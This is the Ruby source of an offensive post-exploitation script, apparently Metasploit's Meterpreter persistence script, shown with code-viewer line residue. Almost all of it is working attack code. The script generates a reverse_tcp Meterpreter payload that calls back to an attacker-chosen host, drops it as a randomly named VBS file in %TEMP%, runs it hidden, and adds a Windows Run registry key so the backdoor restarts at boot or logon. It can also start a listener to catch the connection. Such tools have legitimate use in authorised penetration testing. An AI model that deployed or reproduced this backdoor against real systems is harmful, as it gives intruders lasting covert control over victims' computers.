136 lines
3.6 KiB
Ruby
136 lines
3.6 KiB
Ruby
# $Id$
|
|
|
|
#
|
|
# Meterpreter script for installing a persistent meterpreter
|
|
#
|
|
|
|
session = client
|
|
key = "HKLM"
|
|
#
|
|
# Options
|
|
#
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "This help menu"],
|
|
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
|
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
|
|
"-i" => [ true, "The interval in seconds between each connection attempt"],
|
|
"-X" => [ false, "Automatically start the agent when the system boots"],
|
|
"-U" => [ false, "Automatically start the agent when the User logs on"],
|
|
"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"]
|
|
)
|
|
|
|
#
|
|
# Default parameters
|
|
#
|
|
|
|
rhost = Rex::Socket.source_address("1.2.3.4")
|
|
rport = 4444
|
|
delay = 5
|
|
install = false
|
|
autoconn = false
|
|
##
|
|
|
|
#
|
|
# Option parsing
|
|
#
|
|
opts.parse(args) do |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
print_line(opts.usage)
|
|
return
|
|
when "-r"
|
|
rhost = val
|
|
when "-p"
|
|
rport = val.to_i
|
|
when "-i"
|
|
delay = val.to_i
|
|
when "-X"
|
|
install = true
|
|
key = "HKLM"
|
|
when "-U"
|
|
install = true
|
|
key = "HKCU"
|
|
when "-A"
|
|
autoconn = true
|
|
end
|
|
end
|
|
|
|
host_name = client.sys.config.sysinfo['Computer']
|
|
# Create Filename info to be appended to downloaded files
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence', host_name + filenameinfo )
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
# Cleaup script file name
|
|
dest = logs + "/clean_up_" + filenameinfo + ".rc"
|
|
|
|
#
|
|
# Create the persistent VBS
|
|
#
|
|
|
|
print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
|
|
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
|
pay.datastore['LHOST'] = rhost
|
|
pay.datastore['LPORT'] = rport
|
|
raw = pay.generate
|
|
|
|
vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
|
|
print_status("Persistent agent script is #{vbs.length} bytes long")
|
|
|
|
|
|
#
|
|
# Upload to the filesystem
|
|
#
|
|
|
|
tempdir = client.fs.file.expand_path("%TEMP%")
|
|
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
|
fd = client.fs.file.new(tempvbs, "wb")
|
|
fd.write(vbs)
|
|
fd.close
|
|
|
|
print_status("Uploaded the persistent agent to #{tempvbs}")
|
|
|
|
#
|
|
# Execute the agent
|
|
#
|
|
proc = session.sys.process.execute("wscript \"#{tempvbs}\"", nil, {'Hidden' => true})
|
|
print_status("Agent executed with PID #{proc.pid}")
|
|
file_local_write2file(dest, "kill #{proc.pid}\n")
|
|
#
|
|
# Setup the multi/handler if requested
|
|
#
|
|
if(autoconn)
|
|
mul = client.framework.exploits.create("multi/handler")
|
|
mul.datastore['WORKSPACE'] = client.workspace
|
|
mul.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
|
mul.datastore['LHOST'] = rhost
|
|
mul.datastore['LPORT'] = rport
|
|
mul.datastore['EXITFUNC'] = 'process'
|
|
mul.datastore['ExitOnSession'] = false
|
|
|
|
mul.exploit_simple(
|
|
'Payload' => mul.datastore['PAYLOAD'],
|
|
'RunAsJob' => true
|
|
)
|
|
end
|
|
|
|
#
|
|
# Make the agent restart on boot
|
|
#
|
|
if(install)
|
|
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
|
if(key)
|
|
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,tempvbs,"REG_SZ")
|
|
print_status("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
|
file_local_write2file(dest, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n")
|
|
else
|
|
print_status("Error: failed to open the registry key for writing")
|
|
end
|
|
end
|
|
print_status("For cleanup use command: run multi_console_command -rc #{dest}")
|